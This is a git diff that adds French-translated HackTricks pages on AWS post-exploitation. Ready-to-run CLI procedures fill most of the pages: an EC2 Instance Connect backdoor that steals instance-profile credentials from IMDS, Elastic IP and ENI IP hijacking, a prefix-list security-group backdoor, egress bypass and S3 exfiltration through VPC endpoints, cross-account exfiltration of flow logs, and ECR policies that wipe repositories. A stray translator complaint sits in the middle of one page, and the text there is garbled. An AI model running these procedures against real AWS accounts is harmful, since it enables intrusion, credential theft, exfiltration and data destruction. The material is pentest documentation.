+ +## Impact +- Accès en lecture immédiat aux données en direct du volume EBS ciblé sans générer de snapshots. +- Si monté en lecture-écriture (read-write), l'attaquant peut altérer le système de fichiers de la victime (risque de corruption). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..6f1e723db --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +Abuser EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accès SSH entrant vers des instances EC2 privées (sans IP publique/bastion) en : +- Créer un EIC Endpoint dans le subnet cible +- Autoriser SSH entrant sur le SG cible depuis le SG de l'EIC Endpoint +- Injection d'une clé publique SSH éphémère (valide ~60 secondes) avec `ec2-instance-connect:SendSSHPublicKey` +- Ouvrir un tunnel EIC et pivoting vers l'instance pour voler les credentials de l'instance profile depuis IMDS + +Impact : chemin d'accès distant furtif vers des instances EC2 privées qui contourne les bastions et les restrictions d'IP publique. L'attaquant peut assumer l'instance profile et opérer dans le compte. + +## Exigences +- Permissions pour : +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Instance Linux cible avec serveur SSH et EC2 Instance Connect activé (Amazon Linux 2 ou Ubuntu 20.04+). Utilisateurs par défaut : `ec2-user` (AL2) ou `ubuntu` (Ubuntu). + +## Variables +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## Créer un point de terminaison EIC +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## Autoriser le trafic de l'EIC Endpoint vers l'instance cible +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Injecter une clé SSH éphémère et ouvrir un tunnel +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Preuve de Post-exploitation (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +Je n'ai pas reçu le contenu à traduire. Veuillez coller le texte du fichier src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ici. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Utilisez les creds volés localement pour vérifier l'identité : +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Nettoyage +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Remarques +> - La clé SSH injectée n'est valide qu'environ ~60 secondes ; envoyez la clé juste avant d'ouvrir le tunnel/SSH. +> - `OS_USER` doit correspondre à l'AMI (par ex., `ubuntu` pour Ubuntu, `ec2-user` pour Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..f27fdc13e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Résumé + +Abuser de `ec2:AssociateAddress` (et éventuellement `ec2:DisassociateAddress`) pour réassocier un Elastic IP (EIP) depuis une instance/ENI victime vers une instance/ENI attaquante. Cela redirige le trafic entrant destiné à l'EIP vers l'attaquant et permet également à l'attaquant d'initier du trafic sortant avec l'IP publique allowlistée pour contourner les pare-feux des partenaires externes. + +## Prérequis +- Target EIP allocation ID in the same account/VPC. +- Instance/ENI de l'attaquant que vous contrôlez. +- Autorisations : +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` sur l'EIP allocation-id et sur l'instance/ENI de l'attaquant +- `ec2:DisassociateAddress` (optionnel). Remarque : `--allow-reassociation` désassociera automatiquement de l'attachement précédent. + +## Attaque + +Variables +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Allouer ou identifier l'EIP de la victime (le lab alloue un nouveau et l'attache à la victime) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) Vérifier que l'EIP pointe actuellement vers le victim service (ex. vérification d'une banner) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) Réassocier l'EIP à l'attacker (se désassocie automatiquement de la victim) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) Vérifiez que l'EIP se résout maintenant vers le attacker service +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Preuve (association déplacée) : +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Impact +- Inbound impersonation: Tout le trafic vers le hijacked EIP est acheminé vers l'instance/ENI de l'attacker. +- Outbound impersonation: Attacker peut initier du trafic qui semble provenir de l'allowlisted public IP (utile pour bypasser les partner/external source IP filters). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..9c774d696 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` pour voler l'IP privée secondaire d'une ENI victime et la déplacer vers une ENI attaquante dans le même subnet/AZ. De nombreux services internes et groupes de sécurité restreignent l'accès à des adresses IP privées spécifiques. En déplaçant cette adresse secondaire, l'attaquant usurpe l'hôte de confiance au niveau L3 et peut atteindre des services allowlisted. + +Prérequis : +- Autorisations : `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sur l'ARN de l'ENI victime, et `ec2:AssignPrivateIpAddresses` sur l'ARN de l'ENI attaquante. +- Les deux ENI doivent être dans le même subnet/AZ. L'adresse ciblée doit être une IP secondaire (la primaire ne peut pas être désassignée). + +Variables : +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP +- PROTECTED_HOST= + +Étapes : +1) Choisir une IP secondaire de l'ENI victime +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Assurez-vous que l'hôte protégé n'autorise que cette IP (idempotent). Si vous utilisez des règles SG-to-SG à la place, ignorez cette étape. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Baseline : depuis l'instance attaquante, la requête vers PROTECTED_HOST doit échouer sans usurpation de source (par ex., via SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Désassocier l'IP secondaire de l'ENI de la victime +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) Assignez la même IP à l'attacker ENI (sur AWS CLI v1, ajoutez `--allow-reassignment`) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Vérifier que la propriété a été transférée +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) Depuis l'instance attacker, source-bind sur la hijacked IP pour atteindre le protected host (vérifiez que l'IP est configurée sur l'OS ; si ce n'est pas le cas, ajoutez-la avec `ip addr add $HIJACK_IP/ dev eth0`) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Impact +- Contourner les IP allowlists et usurper des hôtes de confiance au sein du VPC en déplaçant des secondary private IPs entre des ENIs dans le même subnet/AZ. +- Accéder à des services internes qui restreignent l'accès selon des specific source IPs, permettant lateral movement et l'accès aux données. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..807fcc597 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Résumé +Exploiter les customer-managed Prefix Lists pour créer un accès furtif. Si une security group (SG) rule référence une managed Prefix List, toute personne ayant la capacité de modifier cette liste peut ajouter silencieusement des CIDRs contrôlés par l'attaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui référence la liste autorise immédiatement les nouvelles plages sans aucun changement visible dans le SG. + +## Impact +- Extension instantanée des plages IP autorisées pour tous les SG référencant la Prefix List, contournant les contrôles de changement qui ne surveillent que les modifications de SG. +- Permet des backdoors persistants d'ingress/egress : garder le CIDR malveillant caché dans la Prefix List tandis que la SG rule semble inchangée. + +## Prérequis +- IAM permissions: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs) +- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing. +- Environnement : Au moins une SG rule référencant la customer-managed Prefix List ciblée. + +## Variables +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Étapes d'attaque + +1) **Énumérer les prefix lists candidates et les consommateurs** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +Utilisez `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` pour confirmer quelles règles SG dépendent de la liste. + +2) **Ajouter le CIDR de l'attaquant à la prefix list** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Valider la propagation vers les groupes de sécurité** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +Le trafic en provenance de `$ENTRY_CIDR` est désormais autorisé partout où la prefix list est référencée (généralement dans les règles sortantes des proxies de sortie ou les règles entrantes des services partagés). + +## Preuves +- `get-managed-prefix-list-entries` reflète le CIDR de l'attaquant et la description. +- `describe-security-group-rules` affiche toujours la règle SG originale faisant référence à la prefix list (aucune modification du SG enregistrée), et pourtant le trafic provenant du nouveau CIDR passe. + +## Nettoyage +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..1a0016976 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,69 @@ +# AWS – Contournement de l'egress depuis des subnets isolés via VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Summary + +Cette technique abuse des VPC Endpoints pour créer des canaux d'exfiltration depuis des subnets sans Internet Gateways ni NAT. Les Gateway endpoints (p.ex. S3) ajoutent des prefix‑list routes dans les subnet route tables ; les Interface endpoints (p.ex. execute-api, secretsmanager, ssm, etc.) créent des ENIs atteignables avec des private IPs protégées par des security groups. Avec des permissions VPC/EC2 minimales, un attaquant peut activer un egress contrôlé qui ne traverse pas le public Internet. + +> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs. + +## Option A – S3 Gateway VPC Endpoint + +**Variables** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) Créer le S3 Gateway endpoint (ajoute une S3 prefix‑list route aux route tables sélectionnées) : +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Éléments de preuve à collecter : + +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` indique une route vers la prefix list AWS S3 (par ex., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- Depuis une instance dans ces subnets (avec IAM perms) vous pouvez exfil via S3 sans Internet: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Option B – Interface VPC Endpoint pour API Gateway (execute-api) + +**Variables** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Créez l'interface endpoint et attachez le SG : +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Éléments de preuve à recueillir : +- `aws ec2 describe-vpc-endpoints` montre le endpoint en état `available` avec `NetworkInterfaceIds` (ENIs dans vos subnets). +- Les instances dans ces subnets peuvent atteindre les Private API Gateway endpoints via ces ENIs VPCE (aucun chemin Internet requis). + +## Impact +- Contourne les contrôles de sortie (egress) périmétriques en exploitant des chemins privés gérés par AWS vers les services AWS. +- Permet l'exfiltration de données depuis des subnets isolés (par ex., écrire sur S3 ; appeler Private API Gateway ; accéder à Secrets Manager/SSM/STS, etc.) sans IGW/NAT. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..bd2512e34 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Summary +Abuse `ec2:CreateFlowLogs` pour exporter des VPC, subnet ou ENI flow logs directement vers un attacker-controlled S3 bucket. Une fois que le delivery role est configuré pour écrire dans le bucket externe, chaque connexion observée sur la ressource monitorée est streamée hors du compte victim. + +## Requirements +- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created). +- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`. +- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here). + +## Attack Walkthrough + +1) **Attacker** prépare une S3 bucket policy (dans le compte de l'attacker) qui permet au VPC Flow Logs delivery service d'écrire des objets. Replace placeholders before applying: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Appliquer depuis le compte de l'attaquant : +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) crée les flow logs ciblant l'attacker bucket: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +En quelques minutes, des flow log files apparaissent dans le attacker bucket contenant des connexions pour tous les ENIs du VPC/subnet surveillé. + +## Preuves + +Exemples d'enregistrements de flow log écrits dans le attacker bucket : +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Preuve de bucket listing: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Impact +- Exfiltration continue de métadonnées réseau (IPs source/destination, ports, protocoles) pour le VPC/subnet/ENI surveillé. +- Permet l'analyse du trafic, l'identification de services sensibles et le hunting potentiel de misconfigurations des security groups depuis l'extérieur du compte victime. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index 2d3542998..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Pour plus d'informations, consultez - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Connexion, Tirer & Pousser -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -Après avoir téléchargé les images, vous devriez **vérifier leur contenu pour des informations sensibles** : - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -Un attaquant disposant de l'une de ces autorisations peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du dépôt** et ensuite **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le dépôt. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..11eb0f2e3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,206 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Pour plus d'informations, consultez + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Après avoir téléchargé les images vous devriez **les vérifier pour des informations sensibles**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du repository** puis **supprimer l'intégralité du repository ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le repository. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### Exfiltrate les identifiants de registre upstream depuis ECR Pull‑Through Cache (PTC) + +Si ECR Pull‑Through Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : 